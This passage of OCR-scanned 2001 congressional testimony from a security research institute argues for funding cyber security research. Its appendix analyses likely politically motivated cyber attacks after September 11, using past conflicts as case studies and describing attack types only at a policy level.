have testified, part of the task is to ensure that government agencies charged with
warning of and responding to the problem, such as the NIPC, have adequate resources.
This has been a significant and ongoing problem, which Congress and the Administration
should urgently address. Part of the task also involves creating market incentives for
manufacturers to build security into products from the ground up. This can be done in
part through government purchases, but the biggest incentive of all is consumer demand -
when consumers demand better security, manufacturers will respond accordingly.

Perhaps most important of all, is the task of researching and developing new
technology to secure the information infrastructure against attacks. The Internet itself
was never designed with security as a primary consideration. Therefore, the very
foundation of our information infrastructure has embedded within it vulnerabilities that
make it inherently susceptible to attack. And as the use of that foundation continues to
grow exponentially, the vulnerabilities grow as well, as do the numbers of people who are
willing and able to exploit those vulnerabilities. The ultimate solution, then, lies in
developing technology that builds in security from the ground up; security features that
render networks more resistant, robust, and resilient in the face of attacks

Much work is currently underway in the private sector to develop new virus
detection software, firewalls, and the like. But commercial research is largely focused on
existing threats and near-term, profit-making developments. What remains sorely needed
is research that can look at the mid- and long-term threats. Research to develop
technologies, for which there may be little commercial incentive, may be vital to
protecting the computer networks that underpin our economy and our national security.
As the White House Office of Science and Techriology Policy (OSTP) emphasized a year
ago: “The Federal government and the private sector are now making substantial
investments in cyber security technologies. However, neither the private nor public
sectors are adequately elucidating the fundamental principles that underlie complex,
interconnected infrastructures, or developing key technologies or analytical
methodologies crucial to protecting the information infrastructure. Therefore, government
becomes the only realistic underwriter to ensure that these technologies are developed.”

! Office of Science& Tectmology Policy White Paper on the Institute for Information Infrastructure
Protection, July 11, 2000. A recent CSIS study also concludes that continuous funding for information
securify research and development is crucial to keep pace with cyber attackers. See Center for Strategic and
International Studies, ‘Defending America ~ Redefining the Conceptual Borders of Homeland Defense —
Critica! Infrastructure Protection and Information Warfare’, December 8, 2000.
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ISTS is already playing an important role in developing such technologies. The
following are just a few examples of significant ongoing work being accomplished at the
ISTS in the cyber security area.

e SYSTEM SECURITY EvALUATION TEST-BED — This project produces a visual
representation of an attack on a network, yielding insight into network behavior.
Prototypes of this system are under development, with simulation technology
deployable within 2 years.

¢ SOFTWARE SYSTEM PROTECTION — This ISTS research is examining software
security models and implementations that may be based on roles and may usc
public key or other security infrastructures. The significance of this research lies
in the philosophy of software security as the primary directive for software
architecturc design.

¢ INTERNET HEALTH MONITORING SYSTEM AND DATA ARCHIVE — The increased
dependence of our nation's infrastructure on information technology has created a
need for tools that monitor the health of the Internet and provide early warning. A
prototype system is already operational, with deployment to test sites expected
next year,

¢ STATISTICALLY BASED NETWORK INTRUSION DETECTION - This project will
provide an increased detection capability for intrusion detection experts, systemn
administrators, and investigators. A major derivative of this project is additional
techniques for protecting critical communications infrastructures.

¢  ASSESSING AND MINING OF DATA FROM NETWORK SENSORS — This project will
permit system administrators or investigators to perform rapid analyses of a
network’s health or disability, leading to the discovery of the commission of
cyber attacks and the gathering of evidence of those attacks. This research is
poised to deliver its agent-based information gathering system.

s BGP DATA ARCHIVE — This project will assist the tracing of cyber attacks by
creating an archive of Internet routing tables, which can be queried, developing
methods for simulating "trace routes" based on historical tables. System
administrators and law enforcement agents will be enabled with tools to
reconstruct routes for specific dates and times.

¢ HONEYNET ~ The Hoveynet project is a simulated computer or computer
networks that both system administrators and government agencies can use to
analyze or track cyber attackers. This system allows users to monitor attackers’
activities and provides valuable data on attack methods, tectmiques, and, most
importantly, sharing of information between trusted parties.

+ DETECTION OF DIGITAL TAMPERING — ISTS research is leading to new methods
for detecting digital tampering, including steganography (which some have
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speculated may be used by terrorists for covert communication). Experiments on
commercial steganography tools are underway.

Research and development of technology to enhance cyber security and protect
the information infrastructure are an enormous undertaking, far too big for one academic
institution to undertake alone. Moreover, the necessary expertise is located at many
places across the country. That is why a major goal of ISTS is to establish a collaborative
community of focused ressarch among numerous universities, private companies, and
government agencies nationwide. A significant percentage of ISTS’s first-year work has
taken place outside of Hanover, New Hampshire, at places like George Mason University
in Fairfax, Virginia; Los Alamos National Laboratories and Sandia National Laboratories
in New Mexico; Harvard University in Cambridge, Massachusetts; the University of
Massachusetts; Columbia University in New York City; the University of Washington in
Seattle; the University of California at Santa Barbara; the University of Michigan; the
University of Tulsa; Mitretek in MoLean, Virginia; and BBN Technologies of
Cambridge, Massachusetts. In its second year, ISTS intends to expand its collaborations
by establishing research partnerships with other notable academic centers of excellence in
the computer security and counterterrorism field.

Beyond this tesearch, the ISTS is also in the process of establishing a
consortium with other academic centers of excellence, which would form a “virtual”
institute for information infrastructure protection. This institute, which will be called the
Institute for Information Infrastructure Protection {or “I3P”), is based on the
recommendations of several expert groups over the last three years, including the
President’s Committee of Advisors on Science and Technology (PCAST), a joint study
by the White House Office of Science and Technology Policy and the National Security
Council, and an analysis by the Institute for Defense Analyses for the Department of
Defense. These studies all called for a cyber security R&D institute, whose mission
would be to: (1) develop a national R&D agenda for information infrastructure
protection, which would identify the priority R&D needs; and (2) fund research directed
at those needs.

‘We are just beginning the outreach necessary to form this consortium, speaking
with the leaders of principal centers in academia, government and industry about this idea
and inviting their participation. These centers will together form the nucleus of the I3P,
with ISTS serving as the I3P’s executive agent.

With currently available funding (less than $3 million), the I3P would not be
able to fund technology research and development. Initially, its role would be limited to
developing a national research agenda that will set forth the top computer security areas
requiring research. This agenda would be based on a comprehensive “needs assessment”
that taps the expertise and experience of the consortium members and other experts in
industry, academia, and government.

The development of a national R&D agenda in itself would constitute a
significant accomplishment and provide great value to the Nation. While there are
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currently numerous research activities underway on eyber security in academia, industry,
and the government, there has, to date, been no comprehensive agenda developed, based
on the input of all the relevant experts, to prioritize the main needs. The need for such an
agenda has been emphasized by numerous government and private sector organizations
that have studied the problem, including not only the PCAST, the IDA, OSTP and NSC,
but also the President’s Commission on Critical Infrastructure Protection, and the
Partnership for Critical Infrastructure Security.

This agenda, which will be re-evaluated and updated each year, can then serve
as the blueprint to guide research conducted at academic and other institutions across the
country, including the members of the I3P consortia and others. It could also be used as
an assessment and measuring tool by government ageneies that provide funding for cyber
security research. Similarly, private companies can use the agenda to develop ideas for
commercially sponsored research. If future funding permits, then the I3P can quickly
take on the additional responsibility of directly funding research that addresses priority
items set forth in the continually evolving national agenda.

In addition to this basic function of establishing a national R&D agenda, the I3P
would serve the critical function of providing a neutral forum for the exchange of
information among experts in the field concerning network vulnerabilities, technological
developments, and fields of ongoing research. This would create opportunities for
collaboration and enhance ongoing research efforts across all the organizations.

Conclusion

Mr., Chairman, I would like to extend my thanks again to you and the members
of the Subcommittee for inviting me to testify before you today. You have brought
attention to a critical issue at an important juncture, when much of the country’s attention
is understandably focused elsewhere. In light of the continued vulnerability of the
Nation’s information infrastructures, we must ensure in the days, weeks, and months
ahead that we take the necessary steps to protect ourselves against potential cyber attacks
during the war on terrorism. Over the long term, research and development will play a
crucial role in securing the information infrastructure, and thereby protecting our national
seourity against some of the new threats we face in the 21% Century.
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Appendix 1: CYBER ATTACKS DURING THE WAR ON TERRORISM: A PREDICTIVE
ANALYSIS
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EXECUTIVE SUMMARY

"This paper should be viewed as a clear warning to policymakers and security
professionals. Just as the terrorist attacks of September 11, 2001 defied what many
thought possible, cyber atiacks could escalate in response to United States and allied
retaliatory measures against the terrorists responsible for the attack. This paper examines
case studies of political conflicts that have led to attacks on cyber systems, such as the
recent clashes between India and Pakistan, Israel and the Palestinians, and NATO and
Serbia in Kosovo, and the tensions between the U.S. and China over the collision
between a Chinese fighter plane and an American surveillance plane.

LESsONS FROM RECENT CYBER ATTACK CASE STUDIES:

1. Cyber attacks immediately accompany physical attacks (Page 9)

2. Cyber attacks are increasing in volume, sophistication, and
coordination (Page 9)

3. Cyber attackers are atiracted to high value targets (Page 9)

More importantly, the paper conducts a predictive analysis of the potential sources of
attacks that could emerge in the wake of U.S. retaliation against the terrorists, the types of
these attacks, and potential targets. When the United States and its allies launch their
retaliatory action, there is a strong possibility of cyber attacks from hostile groups:

POTENTIAL SOURCES OF CYBER ATTACKS

= Terrorist Groups (Page 12) » Targeted Nation-States (Page 12)

» Terrorist Sympathizers and = Thrill Seekers (Page 14)
Anti-U.S, Hackers (Page 13) :

Based on factual analysis, we believe members of these groups will likely use cyber
attack tools against the U.S. and allied states. Many of these tools are commonly
available.

September 22, 2001
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CYBER ATTACKERS DURING THE WAR ON TERROQRISM ARE LIKELY TO:

1. Deface electronic information sites in the United States and allied
countries and spread disinformation and propaganda. (Page 14)

2. Deny service to legitimate computer users in the U.S. and allied countries
through Denial of Service Attacks (DoS), the use of worms and viruses,
and the exploitation of inherent computer security vulnerabilities. (Page 15)

3. Commit unauthorized intrusions into systems and networks belonging to
the United States and allied countries, potentially resulting in critical
infrastructure outages and corruption of vital data. (Page 17)

Finally, this study makes specific recommendations concerning how the United States
and its allies could protect their information systers against the possible cyber onslaught.
Several measures can be applied to ameliorate the threat of cyber attacks. Please refer to
the sections referenced below for more detail:

CRITICAL CYBER SECURITY MEASURES DURING THE WAR ON TERRORISM:

1. Raise and maintain a heightened level of cyber alert and logging levels in
times of acute crisis (Page 19)

2. Report of suspicious activity to law enforcement immediately to facilitate the
warning and investigative processes (Page 19)

3. Apply and follow standard ‘best practices’ for computer and physical security;
apply regular software updates, and install worm protection, intrusion
detection systems and firewalls (Page 19)

4. Secure critical information assets by implementing recommended measures
against known exploits and back up all vital systems and information (Page 20)

5. Utilize ingress and egress filtering to protect against Distributed Denial of
Service (DDoS) attacks (Page 20)

1t is our hope that this product will highlight the increased threat of cyber attacks posed to
the critical infrastructures of the United States and its allies and encourage further action
towards securing our vital national assets.
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INTRODUCTION

The threat of terrorist attacks against U.S. citizens and U.S. interests around the world has
become the Nation’s most pressing national security issue. As of this writing, the United
States is preparing its retaliation to the horrific terrorist attacks that took place on the
morning of September 11, 2001. The campaign, if carried to the lengths necessary to
eradicate the terrorist organization(s) responsible, will be fierce, protracted, and bloody.
This is particularly true if the U.S. government follows through on its determination to go
after nations that have supported the terrorist attacks.

American and allied military strikes are likely to lead to further terrorist strikes against
American and allied citizens and interests, both in the U.S. and abroad. This aggression
will likely take a variety of forms and may include cyber attacks by terrorist groups
themselves or by targeted nation-states. Even more likely are cyber attacks by
sympathizers of the terrorists, hackers' with general anti-U.S. or anti-allied sentiments,
and thrill seekers lacking any particular political motivation. During the past five years,
the world has witnessed a clear escalation in the number of politically motivated cyber
attacks, often embroiling hackers from around the world in regional disputes.

In addition, the number, scope, and level of sophistication of cyber attacks unrelated to
any political conflict are increasing rapidly. Where antecedent attacks were relatively
benign, recent attacks have targeted vital communications and critical infrastructure
systems. In the weeks and months to come, cyber attacks will evolve further, exposing
vulnerabilities not yet identified by computer security experts. The recent Code Red and
Nimda worms, for example, each exploited new vulnerabilities in Microsoft’s IIS server
software. In fact, we have already witnessed the first signs of oyber activity related to the
terrorist attacks on September 11, 2001.}

The following four case studies provide relevant historical precedents that offer a starting
point for analyzing the cyber activity we are likely to see in the near future.

! This study uses the term hacker to refer to an individual who gains unauthorized access to a computer
system. Footnote definitions were compiled from three sources in addition to ISTS scientists
{cnet.com, sans.org, and techtarget.com).
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FOUR CASE STUDIES: PHYSICAL CONFLICT AND CYBER ATTACKS
Afghanistan’s Neighbors: The Pakistan/India Conflict

The tension between India and Pakistan over Kashmir, the disputed territory bordering
both countries, is particularly salient due to its proximity to Afghanistan. This country is
home to many of Al Qaeda’s terrorist training camps and is likcly to be a target of U.S.
and allied retaliatory strikes. Sympathizers on both sides of the Kashmir conflict have
used cyber tactics to disrupt each other’s information systems and disseminate
propaganda. Pro-Pakistan hackers eager to raise global awareness about the conflict have
hit Indian sites especially hard.

Figure 1

Indian Web Site Defacements
January 1999 — August 2001
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The number of pro-Pakistan defacements of Indian web sites has risen markedly over the
past three years: 45 in 1999, 133 in 2000, and 275 by the end of August 2001 as
illustrated in Figure 1> Indian sites defaced by Pakistani hacker groups including G-Force
and Doctor Nuker have been either political, highly visible, or involved in information
dissemination (for example, the Indian Parliament, the TV network Zee, the Asian Age
newspaper, the Indian Institute of Science, and the Bhabha Atomic Research Center.)3 In
the case of the Bhabha Atomic Research Center, five megabytes" of possibly sensitive
nuclear research or other information was reportedly downloaded.* Another pro-Pakistan
hacker group, the Pakistan Hackerz Club, has also targeted U.S. sites in the past, defacing
sites belonging to the Department of Energy and the U.S. Air Force.® This conflict
illustrates the vulnerability of critical infrastructure systems to cyber attacks and the
increasing willingness of groups to target sensitive systems during political conflicts.

 Megabyte: a measure of computer data. A byte usually denotes 8 bits which the computer treats as a
single unit, Although mega is Greek for a million, a megabyte actually contains 1,048,576 bytes: -
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The Israel/Palestinian Conflict

Paralleling the Middle East’s most violent conflict, the ongoing cyber battle between
Israclis and Palestinians has escalated over the past few years. Figare 2 is a graphical
representation of the web site defacement of Israeli computers mapped against political
events in the region from late 1999 to early 2001, This comparison reveals a close
connection between conflict in the physical and cyber worlds.

Figure 2

Israel (.1 Top-Level Domain
Website Defacements vs. Key Physical Events
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Statistics on defacements to websites belonging to Israel's .11 top-level domain (TLD) were
retrieved from attrition.org. Each plot on the graph represents the daily total of new defacements
reported. In no way are these numbers believed to be complete, but merely representative of
relative activity across this period.

This cycle of attack and counter attack reveals the breadth of cyber targets, attack
methodologies, and the vulnerability of electronic infrastructures. Cyber attackers have
perpetrated significant web site defacements, engineered coordinated Distributed Denial
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of Service (DDoS) attacks and system penetrations™, and utilized worms* and Trojan
horses" in their efforts.

The current bout of cyber attacks was spurred in part by the kidnapping of three
Israeli soldiers on October 6, 2000. In response, pro-Israeli hackers launched
sustained DDoS attacks against sites of the Palestinian Authority, as well as those
of Hezbollah and Hamas.

Pro-Palestinian hackers retaliated by teking down sites belonging to the Isracli
Parliament (Knesset), the Israeli Defense Forces, the Foreign Ministry, the Bank
of Israel, the Tel Aviv Stock Exchange, and others.’

The Palestinian attacks, which have been dubbed a ‘cyber jihad,” are following a
strategy of phased escalation. According to one of the participating groups,
UNITY: Phase 1 targeted Israeli government sites; Phase 2 directed attacks
against Israeli economic services, such as the Bank of Israel; Phase 3 involved
hitting the communications infrastructure, such as Israel’s main Intemet service
provider (ISP),™ NetVision®; and Phase 4 calls for a further escalation, including
foreign targets.

The Former Republic of Yugoslavia (FRY)/NATO Conflict in Kosovo

Cyber attacks were also directed against North Atlantic Treaty Organization (NATO)
infrastruciures as allied-air strikes hit Former Republic of Yugoslavia (FRY) targets in
Kosovo and Serbia during the spring of 2000. This event involving a nation-state and its
regime’s sympathizers provides insight into potential targets of groups hostile to the
United States during the imminent U.S. and allied military retaliation to the September
2001 terrorist attacks -

* During the bombing campaign, NATO web servers'™ were subjected to sustained

attacks by what NATO sources suspected to be hackers in the employ of the FRY
military.”  All of NATO’s approximately 100 servers, hosting NATO’s
international website and e-mail traffic, were reportedly subjected to ‘ping

# Distributed Denia} of Service attack {DDoS): action(s) by distributed computers that prevent any part of

another computer system from fimctioning in accordance with its intended purpose.

¥ System penetration: the successful unauthorized access to a computer system.

¥ Worm: an independent program that replicates itself from machine to machine across network

connections. A worm often congests networks as it spreads.

¥ Trojan horse: a program that appears legitimate but contains hidden code allowing unauthorized

collection, exploitation, falsification, or destruction of data on a host computer.

¥ Internet Service Provider (ISP): owners and providers of service over networks and computers on the

~ Internet backbone (the lines that carry the majority of Internet information)

i Web server: a system or program that provides network service such as disk storage or file transfer on

the World Wide Web,

September 22, 2001
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saturation’™ DDoS assaults and bombarded with thousands of e-mails, many
containing damaging viruses™'® The attacks periodically brought NATO servers

to a standstill over a number of days.

* The communications attacks on NATO servers coincided with numerous website
defacements of American military, government, and commercial sites by Serbian,
Russian, and Chinese sympathizers of the FRY government."

*  Although services directly related to coordinating and executing the bombing
campaign are believed to have been unaffected, the attacks against NATO’s
communications infrastructure caused serious disruptions in both intemnal and
external communications and services.

U.S. ~ China Spy Plane Incident

The repercussions of the mid-air collision between an American surveillance plane and a
Chinese fighter aircraft on April 1, 2001, also offer insight into how political tensions
increasingly find expression in cyber attacks. The ensuing political conflict between the
two major powers was accompanied by an online campaign of mutual cyber attacks and
website defacements, with both sides receiving significant support from hackers around
the globe.

Chinese hacker groups, such as the Honker Union of China and the Chinese Red Guest

Network Security Technology Alliance, organized a massive and sustained week-long

campaign of cyber attacks against American targets, which led the National Infrastructure

Protection Center (NIPC) in the U.S. to issue an advisory on April 26, 2001, waming of
“the potential for increased hacker activity directed at U.S, systems during the period of
April 30, 2001 and May 7, 2001."" Chinese hackers used Internet postings and Internet -
Relay Chat (JRC)" to plan and coordinate their assault against U.S. systems. Access to

the chat rooms™ was restricted by the need for a username and password to gain access.

It remains unclear whether the Chinese government sanctioned these attacks, but, in light

of the fact that these activities were highly visible and no arrests were made by Chinese

officials, it can be assumed that they were at least tolerated, if not dircctly supported by

Chinese authorities. "

After approximately 1,200 U.S. sites, including those belonging to the White House, the
U.8. Air Force and the Department of Energy, had been subjected to DDo8 attacks or
defaced with pro-Chinese images, the attack was stopped. It should be noted that a

* Ping saturation: Ping is an Internet program that verifies Intemet protocol (IP). An IP address is a 32-bit
number that identifies each sender or receiver of information that is sent across the Internet, Ping
saturation is a Denial of Service attack method where a target computer is overwhelmed with ping
requests keeping legitimate users from accessing data on the target system.

* Virus: a program that infects other programs by modifying them to include a copy of itseif,

% {nternet Relay Chat (IRC): is a communications method for Internet users to exchange information in
real-time,

# Chat room: a generic term used to describe chat areas or virtual spaces where users can communicate and
exchange information i real-time.
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number of recent Internet worms including Lion, Adore, and Code Red are suspected of
having originated in China,**

LESSONS FROM CYBER ATTACK CASE STUDIES

U.S. and allied military strikes may result in cyber attacks against
American and allied information infrastructures with significant
economic, political or symbolic value.

Cyber Attacks Immediately Accompany Physical Attacks

The preceding case studies show a direct relationship between political conflicts and
increased cyber attack activity. Further, they highlight that this malicious cyber activity
can have concrete political and economic consequences. In the Israel/Palestinian conflict,
following events such as car bombings and mortar shellings, there were increases in the
number of cyber attacks. Subsequent to the April 1, 2001 mid-air collision between an
American surveillance plane and a Chinese fighter aircraft, Chinese hacker groups
immediately organized a massive and sustained week-long campaign of cyber attacks
against American targets.

Politically Motivated Cyber Attacks Are Increasing in Volume,
Sophistication, and Ceordination

Indian top level domain web defacements attributed to pro-Pakistan attackers have
increased from 45 to over 250 in just 3 years.)® Approximately 1,200 U.S, sites,
including those belonging to the White House and other government agencies, were
subjected to DDoS attacks or defaced with pro-Chinese images over one week in 2001.%
Volume increases have been compounded by increases in sophistication and
coordination. The sustained cyber attack by Chinese hackers and the Israeli/Palestinian
cyber conflict show a pattern of phased escalation. Former Republic of Yugoslavia and
Serbian attackers repeatedly disrupted NATO’s communications infrastructure. Critical
analysis of the targets of Pakistani, Palestinian, and other malicious aggressors indicates
new levels of peril for countries that do not harden their information infrastructures. As
demonstrated in the case studies, expansive targeting strategies for disrupting
communications and information infrastructures have been utilized in the past.

Cyber Attackers Are Attracted to High Value Targets
Electronic high value targets are networks™, servers™, or routers™, whose disruption
would have symbolic, financial, political, or tactical consequences. Palestinian groups’

i Network: a series of points or nodes (computers) interconnected by communication paths. Networks can
interconnect with other networks and contain subnetworks.

¥ Server: a computer that provides the information, files, and other services to user’s (client) computers.

September 22, 2001
Page 8



112

INSTITUTE FOR SECURITY TECHNOLOGY STUDIES

assault on Israeli banking and financial institutions’ web sites is a warning for potential
attacks on the U.S. economy. The ‘Code Red’ worm targeted the White House web site,
intending to disable a political symbol of the American government.

RELEVANT TRENDS IN CYBER ATTACKS

With regard to general trends in cyber attacks, including those with no apparent political
motivation, the overall sophistication of computer attacks has been steadily increasing.
Whether motivated by financial gain or simply the challenge of breaking through
defenses, attackers have been gradually ratcheting up the quality of their attacks for
years. Furthermore, the wide and rapid dissemination of new exploit *scripts” has made it
possible for even unsophisticated programmers to take advantage of these advanced
techniques.

‘Worms

The terms virus and worm are often used synonymously to describe malicious,
autonomous computer programs. Most contemporary computer viruses are in fact worms.
The worm epidemic of recent months, enabled by a common *buffer overflow™" exploit,
illustrates this phenomenon,  Buffer overflows allow attackers to hijack legitimate
computer programs™" for illicit purposes, and they were once the dominion of only the
most elite programmers. In the past five years, however, buffer overflow attacks have
become more and more popular, and they are now the favorite among hackers of all skill
levels. In June 2001, a computer security company identified a weakness in a popular
web server program that could lead to a buffer overflow exploit.” The company
published a benign exploit to demonstrate its point, but within days of the initial report a
malicions program exploiting the identified weakness was making the rounds in the
hacker world. Less than a month later, the Code Red worm appeared, leveraging the
same weakness to spread itself to other machines running the web server software.
Several weeks later, the Code Red II worm was created, employing the same mechanism
but this time leaving behind a back door™ that would allow any hacker to gain contro}
of the infected machine. Recently, the Nimda worm appeared using a combination of
Code Red’s implanted back door and other weaknesses to maximize its record-setting
propagation.

* Router: a device that determines the next network point to which a packet should be forwarded toward its
destination. A packet is the unit of data that is routed between an origin and a destination on the
Internet

4 Byffer overflow: an event in which more data is put into a buffer (computer data holding area) than the
baffer has been allocated. This is a result of a misinatch in processing rates between the producing
and consuming processes. This can result in system crashes or the creation of a back door, leading
o unauthorized system acoess.

™ program or software: in computing,  program is a specific set of ordered operations for a computer to
perform.

i Back Door: a hole in the security of a computer system deliberately left in place by designers or
maintainers or established by maliciously manipulating a computer system.
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Distributed Denial of Service (DDoS) Attacks

Distributed Denial of Service (DDoS) attacks have also evolved over time. DDoS8 attacks
employ armdes of ‘zombie’™ machines taken over and controlled by a single master to
overwhelm the resources of victims with floods of packets™. These attacks are best
known in the context of the high-profile attacks of February 2000, where popular e-
commerce web sites were shut down by simultaneous attacks. Sipce that time, the
popularity of high-speed home Internet access (via cable modems™ and DSL™") has
increased, and the commanders of DDoS zombie armies are taking advantage of this
popularity. Preying on the Jax security of the average home computer user, attackers
have found ways to plant malicious programs to give themselves remote control of home
computers. Many of these machines are now unwitting participants in DDo$ attacks,'®

Unauthorized Intrusions
Unauthorized computer intrusions™® and the loss of sensitive information are of great
concern to businesses and governments alike. The theft of money or credit card numbers,
proprietary information, or sensitive government information can have devastating
consequences.  Although there was a time when inttusions were limited to curious
hackers, organized crime and other organized groups eventually realized the benefits of
collecting poorly protected electronic information for financial or other gain. In March
2001, the NIPC issued a warning that organized crime had made significant inroads in
cyberspace.’” A series of intrusions, collectively known as Moonlight Maze, in U.S.
government systems over a period of several years may have originated in Russia. The
first attacks were detected in March 1998 and, in the course of this sustained assault,
hundreds of unclassified networks used by the Pentagon, the Department of Energy,
NASA, as well as a variety of defense contractors, may have been compromised. While
authorities insist that no classified systems were breached, it is undisputed that vast
quantities of technical defense research were illegally downloaded. In one case, a Hewlett
Packard printer at the Navy's Space and Naval Warfare Systems Command Center
{(SPAWAR) in San Diego was reportedly reprogrammed to print out additional copies of
all documents to a printer in Russia.”

X Zombie: an insecure server comprowmised by a hacker who places sofiware on it that, when triggered,
will launch an overwhelming nuumber of requests toward an attacked web site - generally used in
coordination with other zombie machines,

* Packet: the unit of data that is routed between an origin and a destination on the Internet.

= Modem: 2 device that modulates outgoing digital signals from a computer or other digital device fo
analog signals for a conventional copper twisted pair telephone line and demodulates the incoming
analog signal and converts it 1o 4 digital signal for the digital device.

»iNeL: (Digital Subscriber Line) is a technology for bringing high-bandwidth information over
conventional copper twisted pair telephone lines, Bandwidth (the width of & band of
electromagnetic frequencies) is used to measure (1) how fast data flows on a given transmission
path, and {2) the width of the range of frequencies that an electronic signal cccupies on a given
transmission medium. Al digital and analog signals have a bandwidth.

4 Intrusion: any set of actions that attempt to compromise the integrity, confidentiality or availability of a
computer resource. - .
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Cyber attackers in response to U.S. and allied military strikes during the war on terrorism
could employ any number of sophisticated attack tools and techniques to disrupt or
compromise critical infrastructure systems. Exploits and attack tools are becoming ever
more sophisticated, supporting the possibility that cyberterrorism may take a quantum
leap in this conflict.

POTENTIAL GEOPOLITICAL SOURCES OF ATTACK

The U.S. and allied retaliatory military action against those responsible for planning and
executing the terrorist actions on September 11, 2001 may result in cyber attacks against
the United States. The potential attackers are grouped in four categories: terrorists,
targeted nation-states, terrorist sympathizers or those with general anti-U.S. or anti-allied
sentiments, and thrill seekers who may not be politically motivated, but are merely
seeking notoriety.

Terrorist Groups

It is unclear whether Osama bin Laden’s international Al Qacda organization or other
terrorist groups have developed cyber warfare capabilities, or how extensive these
capabilities may be. To date, few terrorist groups have used cyber attacks as a weapon.
However, terrorists are known to be extensively using information technology and the
Internet to formulate plans, raise funds, spread propaganda, and communicate securely.!
For instance, the convicted terrorist, Ramzi Yousef, who was responsible for planning the
first World Trade Center bombing in 1993, had details of future terrorist plots (including
the planned bombing of 12 aitliners in the Pacific) stored on encrypted™" files on his
laptop computer. At the same time, the September 11, 2001 attacks on the World Trade
Center and Pentagon and previous terrorist targets, such as the British security forces
discovery that the Irish Republican Army (IRA) planned to destroy power stations around
London, demonstrate an increasing desire by terrorist groups to” attack critical
infrastructure targets. The World Trade Center attacks not only took lives and property
but closed markets and destroyed a significant component of the financial information
infrastructure in New York City. Thus, trends seem clearly to point to the possibility of
terrorists using information technology as a weapon against critical infrastructure targets.

Targeted Nation-States

Several nation-states, including not only Afghanistan, but also U.S.-designated supporters
of terrorism, such as Syria, Iraq, Iran, Sudan and Libya™, could possibly become the
focus of U.S. military operations®® Perhaps most significantly, many foreign nations
have identified the utility of developing cyber attack techniques for purposes of engaging
in covert espionage against U.S. government networks or U.S. industry, or for employing
information warfare”™ against the U.S. * As the recent Defense Science Board report
stated: “At some future time, the United States will be attacked, not by hackers, but by a

v Encryption: is the conversion of data into a form, called ciphertext. Decryption is the process of
converting encrypted data back into its original form, so it can be understood.

>V Information warfare: actions taken to achieve information superiority by affecting an adversary’s
information, information based processes, and information systems, while defending one’s own
information, information based processes, and information systems.

September 22, 2001
Page 12



115

INSTITUTE FOR SECURITY TECHNOLOGY STUDIES

sophisticated adversary using an effective array of information warfare tools amd
techniques.”” Amongst the nations thought to be developing information warfare
capabilities are Iraq and Libya, who could be targeted by U.S. and allied strikes as part of
the war on terrorism. China, North Korea, Cuba, and Russia, among others, are also
believed to be developing cyber warfare capabilities.?

Asymmeitric warfare™ may be one of the few ways to compete against an adversary
with overwhelming superiority in military and economic power. Countries with a
developed cyber attack capability may employ information warfare against the United
States and its allies if attacked. Further, the possibility exists that nation-states not
directly involved in American retaliatory action could launch eyber attacks against U.S.
systems under the guise of another country that is the focus of the war on terrorism. This
is of particular concern as it is possible to disguise the origins of information attacks with
relative ease.

Terrorist Sympathizers and Anti-U.S. Hackers

If historical trends continue, attacks by those sympathetic to the terrorist group(s)
responsible for the September 11, 2001 attacks on the United States and those with
general anti-U.S. and anti-allied sentiments are more likely than attacks by the terrorists
themselves or by nation-states. If the American campaign against terrorism is perceived
as a “crusade™’ against people of the Muslim faith, the Middle East could become
polarized into two camps. Muslim groups around the world could become players in this
scenario, and many have significant experience in launching sophisticated and sustained
cyber attacks. In this context, a variety of pro-Muslim hacker groups, such as G-Force
Pakistan, The Pakistan Hackerz Club or Doktor Nuker, could utilize these tactics against
the United States and its allies. As mentioned above, the Pakistan Hackerz Club has
already launched attacks against U.S. targets in the past.

There is also a real danger that a wider polarization, involving groups with any form of
grievance against the United States or its allies, could ensue, potentially creating a large
and diverse hostile coalition. Such a coalition could encompass religious fanatics, anti-
capitalists, those opposing the U.S. for its support of Israel, and Chinese hackers, among
others.

The anti-capitalism and anti-globalization movement has employed violent tactics in
recent years to demonstrate its opposition to the values that define the global status quo.
Following the terrorist attacks of September 11, 2001, some anti-capitalism extremists
applauded the action as a just reward for American imperialism.?® These extremists and
some moderate supporters of such movements could become involved in a concerted
cyber campaign against the United States and its allies. Chinese hackers could also
become involved in a cyber conflict because they may feel that they still have scores to
settle with the United States. The recent online exchange between American and Chinese

hackers is still fresh in the memory of groups such as the “Hopker Union of China’,

% Asymmetric warfare: the use of unconventional tactics to counter the overwhelming conventional
military superiority of an adversary, including conventional terrorism, classic guerrilla war and the
use of weapons of mass destruction, but also such innovative approaches as cyber attacks and
information warfare. -
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which launched a weeklong campaign against American systems earlier this vear.
Further, many Chinese are still angry over NATO’s accidental bombing of the Chinese
embassy in Belgrade in 2000.

Thrill Seekers

Any conflict that plays out in cyberspace will invariably attract a huge number of hackers
and script kiddies™" who simply want to gain notoriety through high profile attacks.
This category of attackers may not be driven by political or ideological fervor, but simply
the desire to achieve bragging rights about their exploits. Those just jumping on the
bandwagon of a cyber conflict between the United States and its enemies pose a
relatively low threat to American systems. The level of skill and sophistication of these
attacks will probably be relatively low, due to the fact that these hackers often employ
pre-fabricated hacker tools to launch attacks. Moreover, these thrill seekers are not highly
motivated and could lose interest if the conflict drags on. However, the likelihood of
attacks from thiill seekers is extremely high because of the intense media coverage of the
situation. Thus, the possibility of gaining notoriety is enhanced.

Although this category of potential attackers may be seen as merely delivering nuisance
attacks, the potential for critical systems to be knocked offline by these attackers at
inopportune times remains. For example, DDoS$ attacks against prominent web sites in
February 2000, such as those belonging to CNN and Yahoo!, and a number of recent
computer worms or viruses, exhibited no evidence of political or financial motivation.
Nonetheless, each had a significant economic impact and caused major disruptions.

POTENTIAL CYBER ATTACKS AND TARGETS DURING THE WAR ON
TERRORISM

The final section of this paper identifies the potential types and targets of cyber attacks
that we may see during the war on terrorism.

‘Web Defacements and Semantic Attacks

As the case studies portend, politically motivated web site defacements will likely
continue to escalate as the war on terrorism is fought. Minor intrusions can result in
defacements and anti-American or pro-terrorist propaganda. The most serious
consequences of web defacements would involve ‘semantic’ attacks,? Such attacks entail
changing the content of a web page subtly, thus disseminating false information. A

semantic attack on a news site or government agency site, causing its web servers to

¥4 Script kiddie: a term used to describe individuals who break security on computer systems without
understanding the exploif they are using. A specific example is a computer user who uses a
Unicode attack by copying 4 line of text into their Internet browser window to attack a system.
Unicode provides a standard for intemational character sets by assigning a unique number for each
character. It is a compendium of commonly used character sets like ASCII, ANSI, 1SO-8859 and
others and may be used to change the appearance of an HTTP (hypertext transfer protocol)
request, while leaving it finctional. HTTP is the protocol used to transmit and receive all data
over the World Wide Web. A protocol is a set of commumications rules that computer systems
